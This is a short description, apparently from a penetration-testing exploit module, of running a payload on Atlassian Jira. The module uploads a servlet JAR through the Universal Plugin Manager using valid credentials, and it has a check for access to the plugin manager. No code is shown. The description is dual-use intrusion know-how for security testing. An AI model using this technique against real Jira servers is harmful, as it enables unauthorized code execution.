        This module can be used to execute a payload on Atlassian Jira via
        the Universal Plugin Manager(UPM). The module requires valid login
        credentials to an account that has access to the plugin manager.
        The payload is uploaded as a JAR archive containing a servlet using
        a POST request against the UPM component. The check command will
        test the validity of user supplied credentials and test for access
        to the plugin manager.
